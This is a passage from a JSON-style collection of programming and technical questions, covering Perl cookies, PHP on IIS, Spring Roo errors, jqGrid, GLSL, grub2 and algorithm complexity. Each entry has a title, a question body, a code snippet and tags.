time is right. Then I printed out the cookie and I got this:\n\nThe strage thing
above is that I record the actual time of cookie creation with perl's
'localtime(time())' function, but it records a different time than what my date
command puts out (so not the actual current time)! And then the expiration time on
the cookie is actually correct, but it's in the wrong time zone.\nSo my server is
in the eastern timezone when I run the command:\n\nHowever, the cookie is being
set with GMT as the timezone, and I think this is the issue. Is there another time
I should be setting on the server besides just ? I'm running on CentOS 5 if that
helps at all. Thanks!\n", "my $cookie = CGI::Cookie->new(-name => \"$name\",\n
-value => \"$val\",\n -expires
=> \"$expiration_date\",\n -path => $cookie_path,\n
-secure => 0\n );\n\nprint \"Set-Cookie: $cookie\\n\";\n",
"perl cookies time timezone"], "5485858": ["google maps infowindows without closing
button", "Can I disable closing button on a infowindows whith google maps API v3?\
nmy code:\n\n", "marker.info.setContent(\"blablabla\");\
nmarker.setPosition(position);\nmarker.setIcon('images/arrows/'+icon);\n
`\n", "google-maps close infowindow"], "3041931": ["Access network share with
PHP5.2 + IIS7.5", "I'm using php 5.2 with IIS7.5.\nI have a network share on a NAS
that is username and password protected. I cannot disable or change authentication
info on the NAS. I need to be able to access that network share via php. \nI've
done the following:\n\nCreated new user in windows whose username and password
matches those on the NAS.\nCreated IIS application pool that uses this same auth
info.\nCreated a web.config file inside of the php app directory with an
impersonation turned on, using the same auth info.\nidentity impersonate=\"true\"
password=\"ThePass\" userName=\"TheUser\" />\nTurned on ASP.NET impersonation in
the application authentication in IIS.\n\nNone of this seemed to work with this
simple line of code in php:\n\nWarning: opendir(\\someservername\\somesharename)
[function.opendir]: failed to open dir: No error in C:\\websites\\site\\forum\\
testing.php on line 7\nSo, I decided to test the configuration with ASP.NET.\n\nThe
asp.net test worked perfectly.\nGoing further down the rabbit hole, I ran phpinfo()
and checked the username info in it. Down in the \"Environment\" section of
phpinfo, I found the \"USERNAME\" item. Its value was \"TheUser,\" as was what I
expected. \nEverything points to the system being configured correctly until I
tried:\n\nWhich returned, \"IUSR.\" That surely isn't what I expected.\nThis
question could easily be cross posted to stackoverflow, but I think it's a
configuration issue.\nSo, how in the world do I get php + IIS7.5 to read from a
foreign network share?\n", "$dir = opendir(\"\\\\\\\\someservername\\\\
somesharename\");\n", "php iis7.5"], "858019": ["Use awk to calculate sum for
multiple columns", "I have a list with 8 columns, in which the first 6 are the
same. \n\nI need to calculate the average for column 7 and column8, as well as
$7*$8, and get the format like:\n\nHow should I do this?\nthx\n", "6 99999715
99999771 NM_001013399 0 - 23 0.0714286\n6 99999715 99999771
NM_001013399 0 - 24 0.0178571\n6 99999715 99999771 NM_001013399
0 - 25 0.1250000\n", "awk"], "2799140": ["Creating New Directory In Android
Appends \"app_\" To It", "When creating a new directory in Android using:
context.getDir(newDir, MODE) the program will append the string app_ to the
beginning of the string that I pass in. So instead of the string newDir it makes a
directory called app_newDir.\nWhy does it do this? Is there a way that I can avoid
it?\n", "", "android directory"], "5036568": ["Custom values to Context Menu Items
in JQgrid", "I am using this link from Oleg and Demo to create context menu. Is
there a way to pass some dynamic values to each row apart from rowId. May be one
way is to set hidden values for each row and get those hidden column values but not
sure how to implement this functionality. Thanks for any help or suggestions..\n\
n", " loadComplete: function(data) {\n // Fix the Grid Width...\n
fixGridWidth($(\"#grid\"));\n // Context Menu\n $(\"tr.jqgrow\",
this).contextMenu('contextMenu', {\n bindings: {\n
'abc1': function(trigger) {\n // would like to pass some custom values\n
},\n 'abc2': function(trigger) {\n // open a link in new
window using a hyperlink\n },\n 'abc3':
function(trigger) {\n // custom logic\n }\
n },\n onContextMenu : function(event, menu) {\n
//var rowId = $(event.target).parent(\"tr\").attr(\"id\");\n //var
grid = $(\"#grid\");\n //grid.setSelection(rowId);
\n //return true; \
n }\n });\n", "jquery jquery-plugins jqgrid contextmenu"],
"5154967": ["Downhill Simplex Method", "Is it possible to use Downhill Simplex
Method for template matching?Let's say I have 40 landmarks on the edges of an
object and I have pixel intesities of normal vectors on these landmarks and I want
to use Downhill Simplex Method for strecthing the template I have with iterations
after each iteration i will check mean square of errors of the pixels I have in the
template object and image I am working on?Anyone got an idea?Thanks\n", "",
"computer-vision pattern-recognition"], "5075151": ["NoClassDefFoundError:
org/dom4j/Element", "I use spring STS 2.9.1.RELEASE, spring roo 1.2.1.RELEASE,
hibernate 3.6.9.Final to build web site and when I run the roo generated tests, I
always get the following error.\n\nI put the dom4j.1.6.1 in the pom and I just
cannot let the maven to find it.\nPlease help me.\nThanks in advance!\n",
"-------------------------------------------------------------------------------\
nTest set: com.test.roo.CarIntegrationTest\
n-------------------------------------------------------------------------------\
nTests run: 9, Failures: 0, Errors: 9, Skipped: 0, Time elapsed: 2.087 sec <<<
FAILURE!\ntestMarkerMethod(com.test.roo.CarIntegrationTest) Time elapsed: 0.96 sec
<<< ERROR!\njava.lang.IllegalStateException: Failed to load ApplicationContext\n
at
org.springframework.test.context.TestContext.getApplicationContext(TestContext.java
:157)\n at
org.springframework.test.context.support.DependencyInjectionTestExecutionListener.i
njectDependencies(DependencyInjectionTestExecutionListener.java:109)\n at
org.springframework.test.context.support.DependencyInjectionTestExecutionListener.p
repareTestInstance(DependencyInjectionTestExecutionListener.java:75)\n at
org.springframework.test.context.TestContextManager.prepareTestInstance(TestContext
Manager.java:321)\n at
org.springframework.test.context.junit4.SpringJUnit4ClassRunner.createTest(SpringJU
nit4ClassRunner.java:211)\n at
org.springframework.test.context.junit4.SpringJUnit4ClassRunner$1.runReflectiveCall
(SpringJUnit4ClassRunner.java:288)\n at
org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:15)
\n at
org.springframework.test.context.junit4.SpringJUnit4ClassRunner.methodBlock(SpringJ
Unit4ClassRunner.java:290)\n at
org.springframework.test.context.junit4.SpringJUnit4ClassRunner.runChild(SpringJUni
t4ClassRunner.java:231)\n at
org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:47)\n
at org.junit.runners.ParentRunner$3.run(ParentRunner.java:231)\n at
org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:60)\n at
org.junit.runners.ParentRunner.runChildren(ParentRunner.java:229)\n at
org.junit.runners.ParentRunner.access$000(ParentRunner.java:50)\n at
org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:222)\n at
org.springframework.test.context.junit4.statements.RunBeforeTestClassCallbacks.eval
uate(RunBeforeTestClassCallbacks.java:61)\n at
org.springframework.test.context.junit4.statements.RunAfterTestClassCallbacks.evalu
ate(RunAfterTestClassCallbacks.java:71)\n at
org.junit.runners.ParentRunner.run(ParentRunner.java:300)\n at
org.springframework.test.context.junit4.SpringJUnit4ClassRunner.run(SpringJUnit4Cla
ssRunner.java:174)\n at
org.apache.maven.surefire.junit4.JUnit4TestSet.execute(JUnit4TestSet.java:53)\n
at
org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:
123)\n at
org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:104)\n
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n at
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)\n
at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:2
5)\n at java.lang.reflect.Method.invoke(Method.java:597)\n at
org.apache.maven.surefire.util.ReflectionUtils.invokeMethodWithArray(ReflectionUtil
s.java:164)\n at
org.apache.maven.surefire.booter.ProviderFactory$ProviderProxy.invoke(ProviderFacto
ry.java:110)\n at
org.apache.maven.surefire.booter.SurefireStarter.invokeProvider(SurefireStarter.jav
a:172)\n at
org.apache.maven.surefire.booter.SurefireStarter.runSuitesInProcessWhenForked(Suref
ireStarter.java:104)\n at
org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:70)\nCaused
by: org.springframework.beans.factory.BeanCreationException: Error creating bean
with name 'testTransactionManager' defined in file
[/Users/charlesli/Workspace/J2EE/Test_Roo/target/classes/META-INF/spring/
applicationContext.xml]: Cannot resolve reference to bean 'entityManagerFactory'
while setting bean property 'entityManagerFactory'; nested exception is
org.springframework.beans.factory.BeanCreationException: Error creating bean with
name 'entityManagerFactory' defined in file
[/Users/charlesli/Workspace/J2EE/Test_Roo/target/classes/META-INF/spring/
applicationContext.xml]: Invocation of init method failed; nested exception is
java.lang.NoClassDefFoundError: org/dom4j/Element\n at
org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveRefere
nce(BeanDefinitionValueResolver.java:328)\n at
org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveValueI
fNecessary(BeanDefinitionValueResolver.java:106)\n at
org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.applyP
ropertyValues(AbstractAutowireCapableBeanFactory.java:1360)\n at
org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.popula
teBean(AbstractAutowireCapableBeanFactory.java:1118)\n at
org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCrea
teBean(AbstractAutowireCapableBeanFactory.java:517)\n at
org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.create
Bean(AbstractAutowireCapableBeanFactory.java:456)\n at
org.springframework.beans.factory.support.AbstractBeanFactory$1.getObject(AbstractB
eanFactory.java:294)\n at
org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton
(DefaultSingletonBeanRegistry.java:225)\n at
org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBea
nFactory.java:291)\n at
org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanF
actory.java:193)\n at
org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiate
Singletons(DefaultListableBeanFactory.java:585)\n at
org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryIni
tialization(AbstractApplicationContext.java:913)\n at
org.springframework.context.support.AbstractApplicationContext.refresh(AbstractAppl
icationContext.java:464)\n at
org.springframework.test.context.support.AbstractGenericContextLoader.loadContext(A
bstractGenericContextLoader.java:103)\n at
org.springframework.test.context.support.AbstractGenericContextLoader.loadContext(A
bstractGenericContextLoader.java:1)\n at
org.springframework.test.context.support.DelegatingSmartContextLoader.loadContext(D
elegatingSmartContextLoader.java:228)\n at
org.springframework.test.context.TestContext.loadApplicationContext(TestContext.jav
a:124)\n at
org.springframework.test.context.TestContext.getApplicationContext(TestContext.java
:148)\n ... 30 more\nCaused by:
org.springframework.beans.factory.BeanCreationException: Error creating bean with
name 'entityManagerFactory' defined in file
[/Users/charlesli/Workspace/J2EE/Test_Roo/target/classes/META-INF/spring/
applicationContext.xml]: Invocation of init method failed; nested exception is
java.lang.NoClassDefFoundError: org/dom4j/Element\n at
org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initia
lizeBean(AbstractAutowireCapableBeanFactory.java:1455)\n at
org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCrea
teBean(AbstractAutowireCapableBeanFactory.java:519)\n at
org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.create
Bean(AbstractAutowireCapableBeanFactory.java:456)\n at
org.springframework.beans.factory.support.AbstractBeanFactory$1.getObject(AbstractB
eanFactory.java:294)\n at
org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton
(DefaultSingletonBeanRegistry.java:225)\n at
org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBea
nFactory.java:291)\n at
org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanF
actory.java:193)\n at
org.springframework.beans.factory.support.BeanDefinitionValueResolver.resolveRefere
nce(BeanDefinitionValueResolver.java:322)\n ... 47 more\nCaused by:
java.lang.NoClassDefFoundError: org/dom4j/Element\n at
org.hibernate.ejb.HibernatePersistence.createContainerEntityManagerFactory(Hibernat
ePersistence.java:72)\n at
org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean.createNativeEnti
tyManagerFactory(LocalContainerEntityManagerFactoryBean.java:257)\n at
org.springframework.orm.jpa.AbstractEntityManagerFactoryBean.afterPropertiesSet(Abs
tractEntityManagerFactoryBean.java:310)\n at
org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invoke
InitMethods(AbstractAutowireCapableBeanFactory.java:1514)\n at
org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initia
lizeBean(AbstractAutowireCapableBeanFactory.java:1452)\n ... 54 more\nCaused by:
java.lang.ClassNotFoundException: org.dom4j.Element\n at
java.net.URLClassLoader$1.run(URLClassLoader.java:202)\n at
java.security.AccessController.doPrivileged(Native Method)\n at
java.net.URLClassLoader.findClass(URLClassLoader.java:190)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:306)\n at
sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:247)\n ... 59 more\n",
"hibernate integration-testing spring-roo classnotfoundexception dom4j"],
"5578481": ["Boosting Audio Above 1 on SoundChannel", "I'm dealing with an audio
anomalie. I have audio that is mastered quite loud, yet on some systems, it is too
quiet. Boosting the audio file anymore causes clipping.\nIt would be fine, except
for the fact that, in my project, a lot of other sounds are in use as well.
Lowering the volume of everything to match this would make some stuff impossible to
hear. And again, this doesn't happen on all computers, only some.\nTo compensate,
can I boost audio in code? The SoundChannel I'm using is already at 1.0 volume
(full), and I know I can't use that property to boost it further. Is there any way
to raise the audio further in code?\n(I'm using Flash Professional CS5.5, Adobe AIR
3, and ActionScript 3)\n", "", "actionscript-3 flash air flash-cs5.5
soundchannel"], "3951999": ["php sqlite3Result", "How would the following fail:\n\
nWhat would be a scenerio when: ?\n", "$stmt = $db->prepare(\"INSERT INTO sometable
VALUES ('SOMETHING')\");\n$result = $stmt->execute();\n", "php sqlite3"],
"5043527": ["Android Intent doesn't seem to be working - help required!", "So my
situation is this. I have two tables, e.g. employee and department. When a new
employee is made, there is a spinner which is populated from the departments
database, when this is selected it inserts it in to a field in the employee table.\
nWhat I am trying to do is have a list of departments and once the department is
clicked, it shows all employee's that belong to that department.\nSo heres what I
have so far, the first code is from my class which displays the department list:\n\
nI am passing this to the employee list activity, I have tested the code by just
displaying everything so it is working to some extent but when I am trying to view
by the selected dept name it returns nothing, here is the section of the class that
receives the intent:\n\nAnd here is my database query:\n\nSo what I'm trying to do
is just show the employees when the department clicked matches what is in the
employees EMP_DEPT field.\nAny help is greatly appreciated.\n", " protected void
onListItemClick(ListView l, View v, int position, long empDept) {\n
super.onListItemClick(l, v, position, empDept);\n Intent i = new
Intent(this, EmployeeActivity.class);\n
i.putExtra(DatabaseAdapter.DEPT_NAME, empDept);\n startActivityForResult(i,
ACTIVITY_START); \n }\n", "android android-intent"], "5066888": ["ASP.Net
ImageButton not firing onclick", "I'm testing out two ImageButton controls one is
set programmatically inside a function and the other is hard-coded on the client
side as follows:\nStatic ImageButton (Works and fires ImageButton_Click):\n\
nDynamic ImageButton (Does not work, won't fire ImageButton_Click):\n\nThe Dynamic
ImageButton renders as follows\n\nI notice the dynamic image button
contains \"onclick\" vs the static imagebutton which has \"OnClick\", not sure if
that makes a difference. I've been stumped on this for the last few hours, I don't
know why the dynamic ImageButton is not firing. Please help.\nUPDATE:\nThanks for
all the feedback, I only need to process the ID of the ImageButton and it doesn't
have to be server-side. Is there
anyway I can do this from client-side using JavaScript in order to avoid postback?
I tried re configuring the ImageButton as follows:\n\nI specify this function in
the header of my web form \n\nBut I get the following error when I click on the
edit-icon ImageBtn:\n\nHow is this so? If the edit-icons are already rendered and
I'm just using client-side Javascript, shouldn't they already be defined and able
to be properly referenced? This seems very counter intuitive to me. Am I missing
something here? Is there some other control, besides and ImageButton, I can use
for rendering the image without worrying about a postback, but that can still call
the Javascript and pass along it's ID? What about using a regular Image control
and just wiring it's onclick property to call the the submitComment function.\n",
"GridView_RowDataBound", "c# asp.net ajax web-applications webforms"], "2302717":
["php header, content type png doesn't work", "I am having hard time with php
headers, i'm trying to create any kind of image in my browser without saving it in
a file, but no matter what i do i can't get it working.\nSo for example if i use
this basic example from php manual: \n\nIt would set correct header and even output
that icon which u get when image is not found.\nAlso i use which have GD enabled,
here is my GD part:\n\nIs my code is wrong or do i need to configure something?\
n", "$im = imagecreate(100, 100);\n\nheader('Content-Type: image/png');\n\
nimagepng($im);\nimagedestroy($im);\n", "php gd"], "2776345": ["SimpleXML, xpath
doesnt return anything", "Trying to do 2 things using PHP\n1) Use xpath() to run
an xpath query that picks out all the Product tags. This should return you an array
of SimpleXMLElements representing each Product tag.\n2) Use xpath() again to select
from each Product tag the ProductCode and ProductName and get their contents. \nMy
XML is \n\nMy PHP code looks like below but its not returning any product tags,
product code etc, what is the problem in my code\n\n", "<All_Products>\n<Product>\
n<ProductCode>9978H</ProductCode>\n<ProductName>abc with Buckle in
aBlack</ProductName>\n<ProductURL>http://abc.com/abc with Buckle in
aBlack-p/9978H.htm<ProductURL>\n<StockStatus>2</StockStatus>\n</Product>\
n<Product>\n<ProductCode>99s</ProductCode>\n<ProductName>abc with Buckle in
aBlack</ProductName>\n<ProductURL>http://abc.com/abc with Buckle in
aBlack-p/9978H.htm</ProductURL>\n<StockStatus>2</StockStatus>\n</Product>\n</
All_Products>\n", "php xpath simplexml"], "1221001": ["Complexity of finding a
second solution given a correct solution to an NP-complete problem", "I'm looking
to figure out whether there are any general results about or examples concerning
the NP-completeness of the problem of finding a second solution to an NP-complete
problem. More precisely, I'm interested in any problems of the following form:\
nGiven a solution $S$ to an instance $I$ of an NP-complete problem, is there a
solution $S' \\neq S$ to $I$?\nAny examples of problems of this sort, both NP-
complete and not, or general work, or even a what this sort of problem is called
(so I can properly do my own searching) would be appreciated.\nAnother question
addresses this issue specifically as pertaining to SAT.\nI hope I'm not asking
something really basic; there don't seem to be any examples in Garey and Johnson of
this kind of thing.\nThanks\nMark C.\n", "", "cc.complexity-theory reference-
request np-hardness unique-solution"], "3230701": ["wiki-like CMS for developing a
web portal to list restaurants", "What would be a good wiki-like CMS for developing
a web portal to list restaurants and their menus (preferably in .Net)? It will be
community maintained. Any ideas will be appreciated. \n", "", "asp.net content-
management-system wiki community"], "1205971": ["Basic calculation with glsl", "i
want to shade the quad with checkers:\n\nf(P)=[floor(Px)+floor(Py)]mod2.\n\nMy quad
is:\n\nThe vertex shader file:\n\nAnd the fragment shader file is:\n\nBut im
getting this:\n\nIt seems that the mod function doeasn't work or maybe somthing
else...\nAny help?\n", "glBegin(GL_QUADS); \n glVertex3f(0,0,0.0); \n
glVertex3f(4,0,0.0); \n glVertex3f(4,4,0.0); \n glVertex3f(0,4, 0.0); \
nglEnd();\n", "glsl"], "4093307": ["How to add a new kernel to grub2", "How can we
add a kernel to grub2? i knew the stuff we could do with the former versions, but
it seems to have changed. What files should we edit?\n", "", "linux ubuntu kernel
grub"], "2826485": ["Cannot reenter in text-area when edit data", "Cannot reenter
in textarea when edit data. It can't enter.\nI have one textarea. When you use
enter it will save BR format to database.\nAfter we get data from database to
display - it can't enter on the text again.\n\n", "$
('#textareajobdesc').keypress(function(e) { \n var keyCode = e.keyCode\n if
(keyCode == 13) {\n document.getElementById(\"textareajobdesc\").value =
document.getElementById(\"textareajobdesc\").value + \"\\n\";\n return
false;\n } else {\n return true;\n }\n});\n", "jquery"], "2718018":
["Netbeans/JavaFX Application Subclass Missing", "When I create a new JavaFX
application in Netbeans 7.3 (and choose \"Create Application Class\") no such class
is created. Not even the package for it -- just an empty default package.\nI assume
that I could just create it manually by extending the 'Application' class but maybe
this behaviour is symptomatic of some setup anomaly.\nAny idea why this happens?
Btw, I had the same issue with Netbeans 7.1.\nCheers!\n", "", "java netbeans javafx
ria netbeans-7.3"], "2220531": ["Run Javascript function as long as condition is
true", "I'm building a PhoneGap app where user press button which then sends data
to server. On the success handler I have a new function that asks user some
questions with prompt box and then sends them back to server. So I need to make the
prompt box appear as long as the condition \"status=ok\" is true. \nI don't know
how many times the prompt box has to appear, it can be anything from 1 to 10 times,
so I guess I need to make a some sort of loop, but how can I do it? \nThis is the
code I've been using now:\n\n", "function UpdateRecord(update_id) \n{ var id =
getUrlVars()[\"id\"]; \njQuery.ajax({ type: \"POST\", \nurl: serviceURL
+ \"update.php\", \ndata: 'id='+id , \ncache: false, \nsuccess: function(data) {\n
console.log(data)\n if(data.key[0].status == \"ok\"){\n var reply
= prompt(data.key[0].QUESTION, \"\");\n
jQuery.ajax({ type: \"POST\", \n url: serviceURL
+ \"question.php\", \n data: 'id='+id+'&reply='+reply , \n
cache: false, \n success: function(data) {\n
window.location = \"page.html\" }\n } else {\n
window.location = \"page.html\" \n }\n}\n});\n}\n", "javascript loops
while-loop"], "647410": ["How to use apache fop with extensions (f.e. barcode4j) in
java applet", "I want to have a barcode (Code128) generated during the xsl fop
translation. As it is said in the apache fop documentation (and barcode4j docs), if
you want to use extension, put it on the classpath. This works fine for a desktop
app and an applet running from the eclipse. But how to run it from a browser? \nAs
a proof of concept, I extracted everything to so called 'fat-jar' - one jar,
everything repacked from the eclipse as \"Export to runnable jar\" with \"Extract
required libs into generated JAR\". Everything works as expected (translation and
many other things) except the barcode generation. This is my only apache fop
extension so I guess the problem is about the classpath mentioned as there is no
such thing for an applet?\nHere is my main part of the html:\n\nand jnlp:\n\nI will
add that on java console I have standard gibberish (\"19:43:04,429 WARN
FOUserAgent:97 - Unknown formatting object
\"{http://barcode4j.krysalis.org/ns}height\" encountered (a child of code128}. (No
context info available)\") as I wound not include the proper complete barcode4j
extension but I checked and everything is packed correctly in my jar file plus
everything works correctly in the eclipse. \nThis is copy/paste example code from
the barcode4j webpage:\n\nI am using latest barcode4j-fop-ext-complete.jar and
apache-fop 1.1. What am I doing wrong?\n", "<html lang=\"en-US\">\n <body>\n
<script src=\"http://www.java.com/js/deployJava.js\"></script>\n <script> var
attributes = { codebase:'.', code:'com.signapplet.SignApplet.class',
archive:'SignApplet.jar', width:1024, height:968};\n var parameters =
{jnlp_href: 'SignApplet.jnlp'} ; \n deployJava.runApplet(attributes,
parameters, '1.6'); \n </script> \n </body>\n</html>\n", "java applet fop
apache-fop barcode4j"], "3601974": ["CSS 3 Media Queries - What resolutions to
support", "With CSS 3 Media Queries, is there any recommendation as to what
resolutions we should design for?\nCurrently, I am separating:\n\nvisible area
greater than or equal to 1140px\nvisible area greater than or equal to 960px\
nvisible area below 960px\n\nAny links to articles about this are welcome.
Eventually, I am looking for a list of recommended resolutions, though.\n", "",
"css css3 media-queries screen-resolution"], "5133213": ["Detect red color in
different illumination or background", "I can't find the best way to detect red
color in different illumination or background.\nI found that there's YCbCr color
space which is good for red or blue color detection (actually I need to detect blue
color too). The problem is that I can't figure out which threshold to use in
different lightning. For example in sunny weather this threshold equals 210 (from
255), when in cloudly weather this threshold equals 130.\nI use OpenCV library to
implement this.\nThanks for
any help or advice.\n", "", "opencv colors computer-vision"], "5639519":
["Capturing output from a subscript, with a timeout", "I have a perl script that
runs a subscript to gather 5 lines of information. At present it is being done like
this:\n\nHowever, for various reasons outside of my control, the subscript can
sometimes hang, and in those cases i would like to just stop the subscript and move
on. What would be the best approach to\n\nGet the PID of the subscript \nWait for
those 5 lines of output, and kill -9 the pid if output isn't received before a set
timeout\n\nI was thinking of ing , share with the subscript, and have a loop that
waits for the array to fill up, up to the timeout. However, i'm not sure how to
achieve this without rewriting the subscript, something i'd prefer not to because
of backwards-compatibility with other scripts.\n", "my @info =
split(/\\n/,`/script/directory/$devtype.pl $ip $port`);\n", "multithreading perl
stdout"], "5565842": ["Adding an Index degraded execution time", "I have a table
like this:\n\nI also have a index like this:\n\nI used to run a query like this:\n\
nand it worked fine and everyone was happy.\nUntil I added another index:\n\nMy
life became miserable... it's taking almost as 5 times longer to run !!!\nexecution
plan looks the same (with or without the new index):\n\nI have almost no hair left
on my head, why should another index which is not used, on a column which is not in
the where clause make a difference ... \n\nI will update the things I checked:\na.
I removed the new index and it run faster\nb. I added the new index in 2 more
different environments and the same thing happen\nc. I changed MYTABLE_GRP_I to be
on columns run_date and group_id - this made it run fast as a lightning !!\nBut
still why does it happen ?\n", "myTable (id, group_id, run_date, table2_id,
description)\n", "performance oracle oracle10g"], "1821725": ["Add New Row to
GridView without DataBind", "I have a GridView that allows editing the values in
every column, in every row, all the time. The user enters in all their changes,
clicks Save once and all changes are commited.\nThe user must also be able to click
the New button, have a new row appear in the GridView (yep, it has to show up in
the actual GridView), enter whatever data they want, click Save and have all
changes go to the database.\nNow. Here's the user case that's throwing me: a user
arrives at the page, makes several changes on several existing rows, and then needs
to add a new row, enter data in the new row, click Save, and have all changes go to
the database.\nHowever, the only ways I've seen to add a new, empty row involve
rebinding the GridView, which means all of their changes will be lost. This is
obviously no good.\nSo, my question would be: what are some approaches to adding a
new, empty, editable row to a GridView without having to rebind the GridView?\nThe
only thing I can think of would be, on the New buttons' click event, suck all the
data out of the GridView (including the user's potential edits), save it to
ViewState (or whatever), add the new row, repopulate the grid. This, to me, seems
a little hacky, but it should allow me to turn ViewState off on the GridView.\nAny
ideas?\n", "", "asp.net gridview data-binding"], "5964230": ["Get
PropertyChangeListener notification on static variables (class variables)", "In my
code I need to know when a specific static variables change is value. I know that
in Java I can register myself as listener for the instance variables but I can' t
do that with the static (class) variables. Can anyone have workaround for this
problem? Thanks\n", "", "java static propertychangelistener"], "1065032": ["8 gb of
RAM in a new macbook?", "I know that apple doesn't sell macbooks (just the vanilla,
white macbook, not the pro models) with 8 gb of RAM but I'm wondering if it's
possible to upgrade one to 8 gb of RAM. Anyone done it?\n", "", "memory macbook"],
"3935781": ["PowerBuilder Classic 12/12.5 guide/tutorials", "I'm new to
PowerBuilder Classic 12, and I'm having a hard time finding any good guide/tutorial
that can help me get started.\nNow I have already read the following tutorials
http://infocenter.sybase.com/help/index.jsp?topic=/com.sybase.infocenter.dc37772.12
50/html/pbgs/CHDFGFBFA.htm\nBut it did not explain how to build a application from
scratch. It had a wizard that auto-creates windows, sheets, menu and etc for you.\
nAny help/guide/tutorials are appreciated.\nThanks in advance.\nedit: Forgot to
mention that I find a lot of PB.NET stuff, which is not what I am looking for. I'm
looking for PB Classic learning stuff.\n", "", "application powerbuilder"],
"2371789": ["method in WCF service returns nothing", "I've got some troubles with
method Final(). It should return list of IWeather but returns null when I call it.
In debug I stopped on \n\nbut it was always null and I don't know why because
MainMethod() returns \"finish\" and list \"returner\" is not null when debug is in
MainMethod().\n\n", "return this.returner;\n", "c# wcf"], "5115995": ["Devise a
formula inside a loop for x and y to satisfy these requirements", "Given the
following requirements, devise a formula to find x and y as given below\n\nSo in
code, it would look something like:\n\nHere is an example when length1 = 5; length2
=4\n\nedit:\nI'm looking for a 1-liner for finding x and y.\nSomething that divides
x out to 0 when i is less than length2 and y to 0 when i is > length1.\n", "given:
length1 length2, assume length1 >= length2\ntotal = length1 + length2\n\n\ni = 0
: x = 0, y = 0\ni = 1 : x = 0, y = 1\n...\ni =
length2 -1 : x = 0, y = length2 -1\ni = total-length1 : x = 0,
y = 0\ni = total-length1 +1 : x = 1, y = 0\n...\ni = length1 + length2: x
= length1 -1, y = 0\n", "java c++ c math"], "5862398": ["Twisted package from Lucid
to Karmic", "Can I install the \"Twisted\" package from Lucid onto Karmic?\n", "",
"linux ubuntu-9.10 ubuntu-10.04 twisted"], "2370431": ["Big-O analysis of a sub-
string of string algorithm. Does O(n*logn) simplify?", "Hello and thanks for
reading. I am working on a homework assignment. I have created a method that
compares to strings to see if one is a sub-string of another. I am aware there is
already a built in method to do this. The assignment does not allow me to use them.
Anyway, the below code is working.\nI have to analyze the complexity of the
algorithm using Big-O notation. From what I can see the outer loop runs in linear
time because it simply runs as many times as the length of the string. Thus: O(n)\
nThe inner loop is different, it may or may not happen, and if it does it may
finish before the the length of the second string which is it's input. Thus:
O(logn)\nSo it appears to me the the complexity is O (n*logn). Does this simplify
to O(n) or does it stay in its current form? Or am I wrong about the inner loop
being O(logn)?\n\n", "import java.util.Scanner;\n\npublic class HW3q6 {\npublic
static void main(String[] args) {\n Scanner userInput = new
Scanner( System.in );\n System.out.println(\"Please enter the first
string: \");\n char[] charArray1 =
userInput.nextLine().toUpperCase().toCharArray();\n System.out.println(\"Please
enter the second string: \");\n char[] charArray2 =
userInput.nextLine().toUpperCase().toCharArray();\n\n System.out.println(\"The
second string is a substring of the first: \" + subString(charArray1,
charArray2));\n\n}\n\nprivate static boolean subString(char[] charArray1, char[]
charArray2) {\n int counter = 0;\n for (int i = 0; i < (charArray1.length +
1) - charArray2.length ; i++) {\n if (charArray1[i] == charArray2[0]) {\n
for (int n = 0; n < charArray2.length; n++) {\n if (charArray1[i+n]
== charArray2[n]) {\n counter++;\n }\n
}\n if (counter == charArray2.length) {\n return true;\n
} else\n counter = 0;\n }\n }\n return false;\n\n}\n}\
n", "java algorithm data-structures big-o"], "4960153": ["Change Form size at
runtime C#", "how can I change window form size at runtime?\nI saw examples, but
every require Form.Size property. This property can be set like here:
http://msdn.microsoft.com/en-us/library/25w4thew.aspx#Y456\nbut I've created my
application form in visual tool and form is created like this:\n\nI don't know how
to set that Size property now and then change it by Form.Height and Form.Width
methods.\n", "static void Main()\n{\n Application.Run(new Form());\n}\n", "c#
resize"], "1146607": ["Queue<byte> vs. Stream", "Is there an difference between a
Queue and a Stream in C#?\n", "", "c# generics stream queue byte"], "5095664": ["Is
$\\left(\\dfrac{3299}{2663}\\right) = 1$?", "Is $\\left(\\dfrac{3299}{2663}\\right)
= 1$?\nThe solution from the book was $-1$ :(.\nMy attempt was:\n$$\\left(\\
dfrac{3299}{2663}\\right) = \\left(\\dfrac{636}{2663}\\right) = \\left(\\dfrac{2^2}
